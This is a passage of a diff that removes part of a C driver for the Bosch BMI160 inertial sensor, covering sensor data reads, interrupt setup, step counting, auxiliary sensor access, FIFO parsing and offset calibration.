*/ - dev->gyro_cfg.power = BMI160_GET_BITS(power_mode, BMI160_GYRO_POWER_MODE); - dev->accel_cfg.power = BMI160_GET_BITS(power_mode, BMI160_ACCEL_POWER_MODE); - } - } - - return rslt; -} - -/*! - * @brief This API reads sensor data, stores it in - * the bmi160_sensor_data structure pointer passed by the user. - */ -int8_t bmi160_get_sensor_data( - uint8_t select_sensor, - struct bmi160_sensor_data* accel, - struct bmi160_sensor_data* gyro, - const struct bmi160_dev* dev) { - int8_t rslt = BMI160_OK; - uint8_t time_sel; - uint8_t sen_sel; - uint8_t len = 0; - - /*Extract the sensor and time select information*/ - sen_sel = select_sensor & BMI160_SEN_SEL_MASK; - time_sel = ((sen_sel & BMI160_TIME_SEL) >> 2); - sen_sel = sen_sel & (BMI160_ACCEL_SEL | BMI160_GYRO_SEL); - if(time_sel == 1) { - len = 3; - } - - /* Null-pointer check */ - if(dev != NULL) { - switch(sen_sel) { - case BMI160_ACCEL_ONLY: - - /* Null-pointer check */ - if(accel == NULL) { - rslt = BMI160_E_NULL_PTR; - } else { - rslt = get_accel_data(len, accel, dev); - } - - break; - case BMI160_GYRO_ONLY: - - /* Null-pointer check */ - if(gyro == NULL) { - rslt = BMI160_E_NULL_PTR; - } else { - rslt = get_gyro_data(len, gyro, dev); - } - - break; - case BMI160_BOTH_ACCEL_AND_GYRO: - - /* Null-pointer check */ - if((gyro == NULL) || (accel == NULL)) { - rslt = BMI160_E_NULL_PTR; - } else { - rslt = get_accel_gyro_data(len, accel, gyro, dev); - } - - break; - default: - rslt = BMI160_E_INVALID_INPUT; - break; - } - } else { - rslt = BMI160_E_NULL_PTR; - } - - return rslt; -} - -/*! - * @brief This API configures the necessary interrupt based on - * the user settings in the bmi160_int_settg structure instance. - */ -int8_t bmi160_set_int_config(struct bmi160_int_settg* int_config, struct bmi160_dev* dev) { - int8_t rslt = BMI160_OK; - - switch(int_config->int_type) { - case BMI160_ACC_ANY_MOTION_INT: - - /*Any-motion interrupt*/ - rslt = set_accel_any_motion_int(int_config, dev); - break; - case BMI160_ACC_SIG_MOTION_INT: - - /* Significant motion interrupt */ - rslt = set_accel_sig_motion_int(int_config, dev); - break; - case BMI160_ACC_SLOW_NO_MOTION_INT: - - /* Slow or no motion interrupt */ - rslt = set_accel_no_motion_int(int_config, dev); - break; - case BMI160_ACC_DOUBLE_TAP_INT: - case BMI160_ACC_SINGLE_TAP_INT: - - /* Double tap and single tap Interrupt */ - rslt = set_accel_tap_int(int_config, dev); - break; - case BMI160_STEP_DETECT_INT: - - /* Step detector interrupt */ - rslt = set_accel_step_detect_int(int_config, dev); - break; - case BMI160_ACC_ORIENT_INT: - - /* Orientation interrupt */ - rslt = set_accel_orientation_int(int_config, dev); - break; - case BMI160_ACC_FLAT_INT: - - /* Flat detection interrupt */ - rslt = set_accel_flat_detect_int(int_config, dev); - break; - case BMI160_ACC_LOW_G_INT: - - /* Low-g interrupt */ - rslt = set_accel_low_g_int(int_config, dev); - break; - case BMI160_ACC_HIGH_G_INT: - - /* High-g interrupt */ - rslt = set_accel_high_g_int(int_config, dev); - break; - case BMI160_ACC_GYRO_DATA_RDY_INT: - - /* Data ready interrupt */ - rslt = set_accel_gyro_data_ready_int(int_config, dev); - break; - case BMI160_ACC_GYRO_FIFO_FULL_INT: - - /* Fifo full interrupt */ - rslt = set_fifo_full_int(int_config, dev); - break; - case BMI160_ACC_GYRO_FIFO_WATERMARK_INT: - - /* Fifo water-mark interrupt */ - rslt = set_fifo_watermark_int(int_config, dev); - break; - case BMI160_FIFO_TAG_INT_PIN: - - /* Fifo tagging feature support */ - /* Configure Interrupt pins */ - rslt = set_intr_pin_config(int_config, dev); - break; - default: - break; - } - - return rslt; -} - -/*! - * @brief This API enables or disable the step counter feature. - * 1 - enable step counter (0 - disable) - */ -int8_t bmi160_set_step_counter(uint8_t step_cnt_enable, const struct bmi160_dev* dev) { - int8_t rslt; - uint8_t data = 0; - - /* Null-pointer check */ - rslt = null_ptr_check(dev); - if(rslt != BMI160_OK) { - rslt = BMI160_E_NULL_PTR; - } else { - rslt = bmi160_get_regs(BMI160_INT_STEP_CONFIG_1_ADDR, &data, 1, dev); - if(rslt == BMI160_OK) { - if(step_cnt_enable == BMI160_ENABLE) { - data |= (uint8_t)(step_cnt_enable << 3); - } else { - data &= ~BMI160_STEP_COUNT_EN_BIT_MASK; - } - - rslt = bmi160_set_regs(BMI160_INT_STEP_CONFIG_1_ADDR, &data, 1, dev); - } - } - - return rslt; -} - -/*! - * @brief This API reads the step counter value. - */ -int8_t bmi160_read_step_counter(uint16_t* step_val, const struct bmi160_dev* dev) { - int8_t rslt; - uint8_t data[2] = {0, 0}; - uint16_t msb = 0; - uint8_t lsb = 0; - - /* Null-pointer check */ - rslt = null_ptr_check(dev); - if(rslt != BMI160_OK) { - rslt = BMI160_E_NULL_PTR; - } else { - rslt = bmi160_get_regs(BMI160_INT_STEP_CNT_0_ADDR, data, 2, dev); - if(rslt == BMI160_OK) { - lsb = data[0]; - msb = data[1] << 8; - *step_val = msb | lsb; - } - } - - return rslt; -} - -/*! - * @brief This API reads the mention no of byte of data from the given - * register address of auxiliary sensor. - */ -int8_t bmi160_aux_read( - uint8_t reg_addr, - uint8_t* aux_data, - uint16_t len, - const struct bmi160_dev* dev) { - int8_t rslt = BMI160_OK; - uint16_t map_len = 0; - - /* Null-pointer check */ - if((dev == NULL) || (dev->read == NULL)) { - rslt = BMI160_E_NULL_PTR; - } else { - if(dev->aux_cfg.aux_sensor_enable == BMI160_ENABLE) { - rslt = map_read_len(&map_len, dev); - if(rslt == BMI160_OK) { - rslt = extract_aux_read(map_len, reg_addr, aux_data, len, dev); - } - } else { - rslt = BMI160_E_INVALID_INPUT; - } - } - - return rslt; -} - -/*! - * @brief This API writes the mention no of byte of data to the given - * register address of auxiliary sensor. - */ -int8_t bmi160_aux_write( - uint8_t reg_addr, - uint8_t* aux_data, - uint16_t len, - const struct bmi160_dev* dev) { - int8_t rslt = BMI160_OK; - uint8_t count = 0; - - /* Null-pointer check */ - if((dev == NULL) || (dev->write == NULL)) { - rslt = BMI160_E_NULL_PTR; - } else { - for(; count < len; count++) { - /* set data to write */ - rslt = bmi160_set_regs(BMI160_AUX_IF_4_ADDR, aux_data, 1, dev); - dev->delay_ms(BMI160_AUX_COM_DELAY); - if(rslt == BMI160_OK) { - /* set address to write */ - rslt = bmi160_set_regs(BMI160_AUX_IF_3_ADDR, ®_addr, 1, dev); - dev->delay_ms(BMI160_AUX_COM_DELAY); - if(rslt == BMI160_OK && (count < len - 1)) { - aux_data++; - reg_addr++; - } - } - } - } - - return rslt; -} - -/*! - * @brief This API initialize the auxiliary sensor - * in order to access it. - */ -int8_t bmi160_aux_init(const struct bmi160_dev* dev) { - int8_t rslt; - - /* Null-pointer check */ - rslt = null_ptr_check(dev); - if(rslt != BMI160_OK) { - rslt = BMI160_E_NULL_PTR; - } else { - if(dev->aux_cfg.aux_sensor_enable == BMI160_ENABLE) { - /* Configures the auxiliary sensor interface settings */ - rslt = config_aux_settg(dev); - } else { - rslt = BMI160_E_INVALID_INPUT; - } - } - - return rslt; -} - -/*! - * @brief This API is used to setup the auxiliary sensor of bmi160 in auto mode - * Thus enabling the auto update of 8 bytes of data from auxiliary sensor - * to BMI160 register address 0x04 to 0x0B - */ -int8_t bmi160_set_aux_auto_mode(uint8_t* data_addr, struct bmi160_dev* dev) { - int8_t rslt; - - /* Null-pointer check */ - rslt = null_ptr_check(dev); - if(rslt != BMI160_OK) { - rslt = BMI160_E_NULL_PTR; - } else { - if(dev->aux_cfg.aux_sensor_enable == BMI160_ENABLE) { - /* Write the aux. address to read in 0x4D of BMI160*/ - rslt = bmi160_set_regs(BMI160_AUX_IF_2_ADDR, data_addr, 1, dev); - dev->delay_ms(BMI160_AUX_COM_DELAY); - if(rslt == BMI160_OK) { - /* Configure the polling ODR for - * auxiliary sensor */ - rslt = config_aux_odr(dev); - if(rslt == BMI160_OK) { - /* Disable the aux. manual mode, i.e aux. - * sensor is in auto-mode (data-mode) */ - dev->aux_cfg.manual_enable = BMI160_DISABLE; - rslt = bmi160_config_aux_mode(dev); - - /* Auxiliary sensor data is obtained - * in auto mode from this point */ - } - } - } else { - rslt = BMI160_E_INVALID_INPUT; - } - } - - return rslt; -} - -/*! - * @brief This API configures the 0x4C register and settings like - * Auxiliary sensor manual enable/ disable and aux burst read length. - */ -int8_t bmi160_config_aux_mode(const struct bmi160_dev* dev) { - int8_t rslt; - uint8_t aux_if[2] = {(uint8_t)(dev->aux_cfg.aux_i2c_addr * 2), 0}; - - rslt = bmi160_get_regs(BMI160_AUX_IF_1_ADDR, &aux_if[1], 1, dev); - if(rslt == BMI160_OK) { - /* update the Auxiliary interface to manual/auto mode */ - aux_if[1] = BMI160_SET_BITS(aux_if[1], BMI160_MANUAL_MODE_EN, dev->aux_cfg.manual_enable); - - /* update the burst read length defined by user */ - aux_if[1] = - BMI160_SET_BITS_POS_0(aux_if[1], BMI160_AUX_READ_BURST, dev->aux_cfg.aux_rd_burst_len); - - /* Set the secondary interface address and manual mode - * along with burst read length */ - rslt = bmi160_set_regs(BMI160_AUX_IF_0_ADDR, &aux_if[0], 2, dev); - dev->delay_ms(BMI160_AUX_COM_DELAY); - } - - return rslt; -} - -/*! - * @brief This API is used to read the raw uncompensated auxiliary sensor - * data of 8 bytes from BMI160 register address 0x04 to 0x0B - */ -int8_t bmi160_read_aux_data_auto_mode(uint8_t* aux_data, const struct bmi160_dev* dev) { - int8_t rslt; - - /* Null-pointer check */ - rslt = null_ptr_check(dev); - if(rslt != BMI160_OK) { - rslt = BMI160_E_NULL_PTR; - } else { - if((dev->aux_cfg.aux_sensor_enable == BMI160_ENABLE) && - (dev->aux_cfg.manual_enable == BMI160_DISABLE)) { - /* Read the aux. sensor's raw data */ - rslt = bmi160_get_regs(BMI160_AUX_DATA_ADDR, aux_data, 8, dev); - } else { - rslt = BMI160_E_INVALID_INPUT; - } - } - - return rslt; -} - -/*! - * @brief This is used to perform self test of accel/gyro of the BMI160 sensor - */ -int8_t bmi160_perform_self_test(uint8_t select_sensor, struct bmi160_dev* dev) { - int8_t rslt; - int8_t self_test_rslt = 0; - - /* Null-pointer check */ - rslt = null_ptr_check(dev); - if(rslt != BMI160_OK) { - rslt = BMI160_E_NULL_PTR; - } else { - /* Proceed if null check is fine */ - switch(select_sensor) { - case BMI160_ACCEL_ONLY: - rslt = perform_accel_self_test(dev); - break; - case BMI160_GYRO_ONLY: - - /* Set the power mode as normal mode */ - dev->gyro_cfg.power = BMI160_GYRO_NORMAL_MODE; - rslt = bmi160_set_power_mode(dev); - - /* Perform gyro self test */ - if(rslt == BMI160_OK) { - /* Perform gyro self test */ - rslt = perform_gyro_self_test(dev); - } - - break; - default: - rslt = BMI160_E_INVALID_INPUT; - break; - } - - /* Check to ensure bus error does not occur */ - if(rslt >= BMI160_OK) { - /* Store the status of self test result */ - self_test_rslt = rslt; - - /* Perform soft reset */ - rslt = bmi160_soft_reset(dev); - } - - /* Check to ensure bus operations are success */ - if(rslt == BMI160_OK) { - /* Restore self_test_rslt as return value */ - rslt = self_test_rslt; - } - } - - return rslt; -} - -/*! - * @brief This API reads the data from fifo buffer. - */ -int8_t bmi160_get_fifo_data(struct bmi160_dev const* dev) { - int8_t rslt = 0; - uint16_t bytes_to_read = 0; - uint16_t user_fifo_len = 0; - - /* check the bmi160 structure as NULL*/ - if((dev == NULL) || (dev->fifo->data == NULL)) { - rslt = BMI160_E_NULL_PTR; - } else { - reset_fifo_data_structure(dev); - - /* get current FIFO fill-level*/ - rslt = get_fifo_byte_counter(&bytes_to_read, dev); - if(rslt == BMI160_OK) { - user_fifo_len = dev->fifo->length; - if((dev->fifo->length > bytes_to_read)) { - /* Handling the case where user requests - * more data than available in FIFO */ - dev->fifo->length = bytes_to_read; - } - - if((dev->fifo->fifo_time_enable == BMI160_FIFO_TIME_ENABLE) && - (bytes_to_read + BMI160_FIFO_BYTES_OVERREAD <= user_fifo_len)) { - /* Handling case of sensor time availability*/ - dev->fifo->length = dev->fifo->length + BMI160_FIFO_BYTES_OVERREAD; - } - - /* read only the filled bytes in the FIFO Buffer */ - rslt = bmi160_get_regs(BMI160_FIFO_DATA_ADDR, dev->fifo->data, dev->fifo->length, dev); - } - } - - return rslt; -} - -/*! - * @brief This API writes fifo_flush command to command register.This - * action clears all data in the Fifo without changing fifo configuration - * settings - */ -int8_t bmi160_set_fifo_flush(const struct bmi160_dev* dev) { - int8_t rslt = 0; - uint8_t data = BMI160_FIFO_FLUSH_VALUE; - uint8_t reg_addr = BMI160_COMMAND_REG_ADDR; - - /* Check the bmi160_dev structure for NULL address*/ - if(dev == NULL) { - rslt = BMI160_E_NULL_PTR; - } else { - rslt = bmi160_set_regs(reg_addr, &data, BMI160_ONE, dev); - } - - return rslt; -} - -/*! - * @brief This API sets the FIFO configuration in the sensor. - */ -int8_t bmi160_set_fifo_config(uint8_t config, uint8_t enable, struct bmi160_dev const* dev) { - int8_t rslt = 0; - uint8_t data = 0; - uint8_t reg_addr = BMI160_FIFO_CONFIG_1_ADDR; - uint8_t fifo_config = config & BMI160_FIFO_CONFIG_1_MASK; - - /* Check the bmi160_dev structure for NULL address*/ - if(dev == NULL) { - rslt = BMI160_E_NULL_PTR; - } else { - rslt = bmi160_get_regs(reg_addr, &data, BMI160_ONE, dev); - if(rslt == BMI160_OK) { - if(fifo_config > 0) { - if(enable == BMI160_ENABLE) { - data = data | fifo_config; - } else { - data = data & (~fifo_config); - } - } - - /* write fifo frame content configuration*/ - rslt = bmi160_set_regs(reg_addr, &data, BMI160_ONE, dev); - if(rslt == BMI160_OK) { - /* read fifo frame content configuration*/ - rslt = bmi160_get_regs(reg_addr, &data, BMI160_ONE, dev); - if(rslt == BMI160_OK) { - /* extract fifo header enabled status */ - dev->fifo->fifo_header_enable = data & BMI160_FIFO_HEAD_ENABLE; - - /* extract accel/gyr/aux. data enabled status */ - dev->fifo->fifo_data_enable = data & BMI160_FIFO_M_G_A_ENABLE; - - /* extract fifo sensor time enabled status */ - dev->fifo->fifo_time_enable = data & BMI160_FIFO_TIME_ENABLE; - } - } - } - } - - return rslt; -} - -/*! @brief This API is used to configure the down sampling ratios of - * the accel and gyro data for FIFO.Also, it configures filtered or - * pre-filtered data for accel and gyro. - * - */ -int8_t bmi160_set_fifo_down(uint8_t fifo_down, const struct bmi160_dev* dev) { - int8_t rslt = 0; - uint8_t data = 0; - uint8_t reg_addr = BMI160_FIFO_DOWN_ADDR; - - /* Check the bmi160_dev structure for NULL address*/ - if(dev == NULL) { - rslt = BMI160_E_NULL_PTR; - } else { - rslt = bmi160_get_regs(reg_addr, &data, BMI160_ONE, dev); - if(rslt == BMI160_OK) { - data = data | fifo_down; - rslt = bmi160_set_regs(reg_addr, &data, BMI160_ONE, dev); - } - } - - return rslt; -} - -/*! - * @brief This API sets the FIFO watermark level in the sensor. - * - */ -int8_t bmi160_set_fifo_wm(uint8_t fifo_wm, const struct bmi160_dev* dev) { - int8_t rslt = 0; - uint8_t data = fifo_wm; - uint8_t reg_addr = BMI160_FIFO_CONFIG_0_ADDR; - - /* Check the bmi160_dev structure for NULL address*/ - if(dev == NULL) { - rslt = BMI160_E_NULL_PTR; - } else { - rslt = bmi160_set_regs(reg_addr, &data, BMI160_ONE, dev); - } - - return rslt; -} - -/*! - * @brief This API parses and extracts the accelerometer frames from - * FIFO data read by the "bmi160_get_fifo_data" API and stores it in - * the "accel_data" structure instance. - */ -int8_t bmi160_extract_accel( - struct bmi160_sensor_data* accel_data, - uint8_t* accel_length, - struct bmi160_dev const* dev) { - int8_t rslt = 0; - uint16_t data_index = 0; - uint16_t data_read_length = 0; - uint8_t accel_index = 0; - uint8_t fifo_data_enable = 0; - - if(dev == NULL || dev->fifo == NULL || dev->fifo->data == NULL) { - rslt = BMI160_E_NULL_PTR; - } else { - /* Parsing the FIFO data in header-less mode */ - if(dev->fifo->fifo_header_enable == 0) { - /* Number of bytes to be parsed from FIFO */ - get_accel_len_to_parse(&data_index, &data_read_length, accel_length, dev); - for(; data_index < data_read_length;) { - /*Check for the availability of next two bytes of FIFO data */ - check_frame_validity(&data_index, dev); - fifo_data_enable = dev->fifo->fifo_data_enable; - unpack_accel_frame(accel_data, &data_index, &accel_index, fifo_data_enable, dev); - } - - /* update number of accel data read*/ - *accel_length = accel_index; - - /*update the accel byte index*/ - dev->fifo->accel_byte_start_idx = data_index; - } else { - /* Parsing the FIFO data in header mode */ - extract_accel_header_mode(accel_data, accel_length, dev); - } - } - - return rslt; -} - -/*! - * @brief This API parses and extracts the gyro frames from - * FIFO data read by the "bmi160_get_fifo_data" API and stores it in - * the "gyro_data" structure instance. - */ -int8_t bmi160_extract_gyro( - struct bmi160_sensor_data* gyro_data, - uint8_t* gyro_length, - struct bmi160_dev const* dev) { - int8_t rslt = 0; - uint16_t data_index = 0; - uint16_t data_read_length = 0; - uint8_t gyro_index = 0; - uint8_t fifo_data_enable = 0; - - if(dev == NULL || dev->fifo->data == NULL) { - rslt = BMI160_E_NULL_PTR; - } else { - /* Parsing the FIFO data in header-less mode */ - if(dev->fifo->fifo_header_enable == 0) { - /* Number of bytes to be parsed from FIFO */ - get_gyro_len_to_parse(&data_index, &data_read_length, gyro_length, dev); - for(; data_index < data_read_length;) { - /*Check for the availability of next two bytes of FIFO data */ - check_frame_validity(&data_index, dev); - fifo_data_enable = dev->fifo->fifo_data_enable; - unpack_gyro_frame(gyro_data, &data_index, &gyro_index, fifo_data_enable, dev); - } - - /* update number of gyro data read */ - *gyro_length = gyro_index; - - /* update the gyro byte index */ - dev->fifo->gyro_byte_start_idx = data_index; - } else { - /* Parsing the FIFO data in header mode */ - extract_gyro_header_mode(gyro_data, gyro_length, dev); - } - } - - return rslt; -} - -/*! - * @brief This API parses and extracts the aux frames from - * FIFO data read by the "bmi160_get_fifo_data" API and stores it in - * the "aux_data" structure instance. - */ -int8_t bmi160_extract_aux( - struct bmi160_aux_data* aux_data, - uint8_t* aux_len, - struct bmi160_dev const* dev) { - int8_t rslt = 0; - uint16_t data_index = 0; - uint16_t data_read_length = 0; - uint8_t aux_index = 0; - uint8_t fifo_data_enable = 0; - - if((dev == NULL) || (dev->fifo->data == NULL) || (aux_data == NULL)) { - rslt = BMI160_E_NULL_PTR; - } else { - /* Parsing the FIFO data in header-less mode */ - if(dev->fifo->fifo_header_enable == 0) { - /* Number of bytes to be parsed from FIFO */ - get_aux_len_to_parse(&data_index, &data_read_length, aux_len, dev); - for(; data_index < data_read_length;) { - /* Check for the availability of next two - * bytes of FIFO data */ - check_frame_validity(&data_index, dev); - fifo_data_enable = dev->fifo->fifo_data_enable; - unpack_aux_frame(aux_data, &data_index, &aux_index, fifo_data_enable, dev); - } - - /* update number of aux data read */ - *aux_len = aux_index; - - /* update the aux byte index */ - dev->fifo->aux_byte_start_idx = data_index; - } else { - /* Parsing the FIFO data in header mode */ - extract_aux_header_mode(aux_data, aux_len, dev); - } - } - - return rslt; -} - -/*! - * @brief This API starts the FOC of accel and gyro - * - * @note FOC should not be used in low-power mode of sensor - * - * @note Accel FOC targets values of +1g , 0g , -1g - * Gyro FOC always targets value of 0 dps - */ -int8_t bmi160_start_foc( - const struct bmi160_foc_conf* foc_conf, - struct bmi160_offsets* offset, - struct bmi160_dev const* dev) { - int8_t rslt; - uint8_t data; - - /* Null-pointer check */ - rslt = null_ptr_check(dev); - if(rslt != BMI160_OK) { - rslt = BMI160_E_NULL_PTR; - } else { - /* Set the offset enable bits */ - rslt = configure_offset_enable(foc_conf, dev); - if(rslt == BMI160_OK) { - /* Read the FOC config from the sensor */ - rslt = bmi160_get_regs(BMI160_FOC_CONF_ADDR, &data, 1, dev); - - /* Set the FOC config for gyro */ - data = BMI160_SET_BITS(data, BMI160_GYRO_FOC_EN, foc_conf->foc_gyr_en); - - /* Set the FOC config for accel xyz axes */ - data = BMI160_SET_BITS(data, BMI160_ACCEL_FOC_X_CONF, foc_conf->foc_acc_x); - data = BMI160_SET_BITS(data, BMI160_ACCEL_FOC_Y_CONF, foc_conf->foc_acc_y); - data = BMI160_SET_BITS_POS_0(data, BMI160_ACCEL_FOC_Z_CONF, foc_conf->foc_acc_z); - if(rslt == BMI160_OK) { - /* Set the FOC config in the sensor */ - rslt = bmi160_set_regs(BMI160_FOC_CONF_ADDR, &data, 1, dev); - if(rslt == BMI160_OK) { - /* Procedure to trigger - * FOC and check status */ - rslt = trigger_foc(offset, dev); - } - } - } - } - - return rslt; -} - -/*! - * @brief This API reads and stores the offset values of accel and gyro - */ -int8_t bmi160_get_offsets(struct bmi160_offsets* offset, const struct bmi160_dev* dev) { - int8_t rslt; - uint8_t data[7]; - uint8_t lsb, msb; - int16_t offset_msb, offset_lsb; - int16_t offset_data; - - /* Null-pointer check */ - rslt = null_ptr_check(dev); - if(rslt != BMI160_OK) { - rslt = BMI160_E_NULL_PTR; - } else { - /* Read the FOC config from the sensor */ - rslt = bmi160_get_regs(BMI160_OFFSET_ADDR, data, 7, dev); - - /* Accel offsets */ - offset->off_acc_x = (int8_t)data[0]; - offset->off_acc_y = (int8_t)data[1]; - offset->off_acc_z = (int8_t)data[2]; - - /* Gyro x-axis offset */ - lsb = data[3]; - msb = BMI160_GET_BITS_POS_0(data[6], BMI160_GYRO_OFFSET_X); - offset_msb = (int16_t)(msb << 14); - offset_lsb = lsb << 6; - offset_data = offset_msb | offset_lsb; - - /* Divide by 64 to get the Right shift by 6 value */ - offset->off_gyro_x = (int16_t)(offset_data / 64); - - /* Gyro y-axis offset */ - lsb = data[4]; - msb = BMI160_GET_BITS(data[6], BMI160_GYRO_OFFSET_Y); - offset_msb = (int16_t)(msb << 14); - offset_lsb = lsb << 6; - offset_data = offset_msb | offset_lsb; - - /* Divide by 64 to get the Right shift by 6 value */ - offset->off_gyro_y = (int16_t)(offset_data / 64); - - /* Gyro z-axis offset */ - lsb = data[5]; - msb = BMI160_GET_BITS(data[6], BMI160_GYRO_OFFSET_Z); - offset_msb = (int16_t)(msb << 14); - offset_lsb = lsb << 6; - offset_data = offset_msb | offset_lsb; - - /* Divide by 64 to get the Right shift by 6 value */ - offset->off_gyro_z = (int16_t)(offset_data / 64); - } - - return rslt; -} - -/*! - * @brief This API writes the offset values of accel and gyro to - * the sensor but these values will be reset on POR or soft reset. - */ -int8_t bmi160_set_offsets( - const struct bmi160_foc_conf* foc_conf, - const struct bmi160_offsets* offset, - struct bmi160_dev const* dev) { - int8_t rslt; - uint8_t data[7]; - uint8_t x_msb, y_msb, z_msb; - - /* Null-pointer check */ - rslt = null_ptr_check(dev); - if(rslt != BMI160_OK) { - rslt = BMI160_E_NULL_PTR; - } else { - /* Update the accel offset */ - data[0] = (uint8_t)offset->off_acc_x; - data[1] = (uint8_t)offset->off_acc_y; - data[2] = (uint8_t)offset->off_acc_z; - - /* Update the LSB of gyro offset */ - data[3] = BMI160_GET_LSB(offset->off_gyro_x); - data[4] = BMI160_GET_LSB(offset->off_gyro_y); - data[5] = BMI160_GET_LSB(offset->off_gyro_z); - - /* Update the MSB of gyro offset */ - x_msb = BMI160_GET_BITS(offset->off_gyro_x, BMI160_GYRO_OFFSET); - y_msb = BMI160_GET_BITS(offset->off_gyro_y, BMI160_GYRO_OFFSET); - z_msb = BMI160_GET_BITS(offset->off_gyro_z, BMI160_GYRO_OFFSET); - data[6] = (uint8_t)(z_msb << 4 | y_msb << 2 | x_msb); - - /* Set the offset enable/disable for gyro and accel */ - data[6] = BMI160_SET_BITS(data[6], BMI160_GYRO_OFFSET_EN, foc_conf->gyro_off_en); - data[6] = BMI160_SET_BITS(data[6], BMI160_ACCEL_OFFSET_EN, foc_conf->acc_off_en); - - /* Set the offset config and values in the sensor */ - rslt = bmi160_set_regs(BMI160_OFFSET_ADDR, data, 7, dev); - } - - return rslt; -} - -/*! - * @brief This API writes the image registers values to NVM which is - * stored even after POR or soft reset - */ -int8_t bmi160_update_nvm(struct bmi160_dev const* dev) { - int8_t rslt; - uint8_t data; - uint8_t cmd = BMI160_NVM_BACKUP_EN; - - /* Read the nvm_prog_en configuration */ - rslt = bmi160_get_regs(BMI160_CONF_ADDR, &data, 1, dev); - if(rslt == BMI160_OK) { - data = BMI160_SET_BITS(data, BMI160_NVM_UPDATE, 1); - - /* Set the nvm_prog_en bit in the sensor */ - rslt = bmi160_set_regs(BMI160_CONF_ADDR, &data, 1, dev); - if(rslt == BMI160_OK) { - /* Update NVM */ - rslt = bmi160_set_regs(BMI160_COMMAND_REG_ADDR, &cmd, 1, dev); - if(rslt == BMI160_OK) { - /* Check for NVM ready status */ - rslt = bmi160_get_regs(BMI160_STATUS_ADDR, &data, 1, dev); - if(rslt == BMI160_OK) { - data = BMI160_GET_BITS(data, BMI160_NVM_STATUS); - if(data != BMI160_ENABLE) { - /* Delay to update NVM */ - dev->delay_ms(25); - } - } - } - } - } - - return rslt; -} - -/*! - * @brief This API gets the interrupt status from the sensor. - */ -int8_t bmi160_get_int_status( - enum bmi160_int_status_sel int_status_sel, - union bmi160_int_status* int_status, - struct bmi160_dev const* dev) { - int8_t rslt = 0; - - /* To get the status of all interrupts */ - if(int_status_sel == BMI160_INT_STATUS_ALL) { - rslt = bmi160_get_regs(BMI160_INT_STATUS_ADDR, &int_status->data[0], 4, dev); - } else { - if(int_status_sel & BMI160_INT_STATUS_0) { - rslt = bmi160_get_regs(BMI160_INT_STATUS_ADDR, &int_status->data[0], 1, dev); - } - - if(int_status_sel & BMI160_INT_STATUS_1) { - rslt = bmi160_get_regs(BMI160_INT_STATUS_ADDR + 1, &int_status->data[1], 1, dev); - } - - if(int_status_sel & BMI160_INT_STATUS_2) { - rslt = bmi160_get_regs(BMI160_INT_STATUS_ADDR + 2, &int_status->data[2], 1, dev); - } - - if(int_status_sel & BMI160_INT_STATUS_3) { - rslt = bmi160_get_regs(BMI160_INT_STATUS_ADDR + 3, &int_status->data[3], 1, dev); - } - } - - return rslt; -} - -/*********************** Local function definitions ***************************/ - -/*! - * @brief This API sets the any-motion interrupt of the sensor. - * This interrupt occurs when accel values exceeds preset threshold - * for a certain period of time. - */ -static int8_t - set_accel_any_motion_int(struct bmi160_int_settg* int_config, struct bmi160_dev* dev) { - int8_t rslt; - - /* Null-pointer check */ - rslt = null_ptr_check(dev); - if((rslt != BMI160_OK) || (int_config == NULL)) { - rslt = BMI160_E_NULL_PTR; - } else { - /* updating the interrupt structure to local structure */ - struct bmi160_acc_any_mot_int_cfg* any_motion_int_cfg = - &(int_config->int_type_cfg.acc_any_motion_int); - rslt = enable_accel_any_motion_int(any_motion_int_cfg, dev); - if(rslt == BMI160_OK) { - rslt = config_any_motion_int_settg(int_config, any_motion_int_cfg, dev); - } - } - - return rslt; -} - -/*! - * @brief This API sets tap interrupts.Interrupt is fired when - * tap movements happen. - */ -static int8_t - set_accel_tap_int(struct bmi160_int_settg* int_config, const struct bmi160_dev* dev) { - int8_t rslt; - - /* Null-pointer check */ - rslt = null_ptr_check(dev); - if((rslt != BMI160_OK) || (int_config == NULL)) { - rslt = BMI160_E_NULL_PTR; - } else { - /* updating the interrupt structure to local structure */ - struct bmi160_acc_tap_int_cfg* tap_int_cfg = &(int_config->int_type_cfg.acc_tap_int); - rslt = enable_tap_int(int_config, tap_int_cfg, dev); - if(rslt == BMI160_OK) { - /* Configure Interrupt pins */ - rslt = set_intr_pin_config(int_config, dev); - if(rslt == BMI160_OK) { - rslt = config_tap_int_settg(int_config, tap_int_cfg, dev); - } - } - } - - return rslt; -} - -/*! - * @brief This API sets the data ready interrupt for both accel and gyro. - * This interrupt occurs when new accel and gyro data comes. - */ -static int8_t set_accel_gyro_data_ready_int( - const struct bmi160_int_settg* int_config, - const struct bmi160_dev* dev) { - int8_t rslt; - - /* Null-pointer check */ - rslt = null_ptr_check(dev); - if((rslt != BMI160_OK) || (int_config == NULL)) { - rslt = BMI160_E_NULL_PTR; - } else { - rslt = enable_data_ready_int(dev); - if(rslt == BMI160_OK) { - /* Configure Interrupt pins */ - rslt = set_intr_pin_config(int_config, dev); - if(rslt == BMI160_OK) { - rslt = map_hardware_interrupt(int_config, dev); - } - } - } - - return rslt; -} - -/*! - * @brief This API sets the significant motion interrupt of the sensor.This - * interrupt occurs when there is change in user location. - */ -static int8_t - set_accel_sig_motion_int(struct bmi160_int_settg* int_config, struct bmi160_dev* dev) { - int8_t rslt; - - /* Null-pointer check */ - rslt = null_ptr_check(dev); - if((rslt != BMI160_OK) || (int_config == NULL)) { - rslt = BMI160_E_NULL_PTR; - } else { - /* updating the interrupt structure to local structure */ - struct bmi160_acc_sig_mot_int_cfg* sig_mot_int_cfg = - &(int_config->int_type_cfg.acc_sig_motion_int); - rslt = enable_sig_motion_int(sig_mot_int_cfg, dev); - if(rslt == BMI160_OK) { - rslt = config_sig_motion_int_settg(int_config, sig_mot_int_cfg, dev); - } - } - - return rslt; -} - -/*! - * @brief This API sets the no motion/slow motion interrupt of the sensor. - * Slow motion is similar to any motion interrupt.No motion interrupt - * occurs when slope bet. two accel values falls below preset threshold - * for preset duration. - */ -static int8_t - set_accel_no_motion_int(struct bmi160_int_settg* int_config, const struct bmi160_dev* dev) { - int8_t rslt; - - /* Null-pointer check */ - rslt = null_ptr_check(dev); - if((rslt != BMI160_OK) || (int_config == NULL)) { - rslt = BMI160_E_NULL_PTR; - } else { - /* updating the interrupt structure to local structure */ - struct bmi160_acc_no_motion_int_cfg* no_mot_int_cfg = - &(int_config->int_type_cfg.acc_no_motion_int); - rslt = enable_no_motion_int(no_mot_int_cfg, dev); - if(rslt == BMI160_OK) { - /* Configure the INT PIN settings*/ - rslt = config_no_motion_int_settg(int_config, no_mot_int_cfg, dev); - } - } - - return rslt; -} - 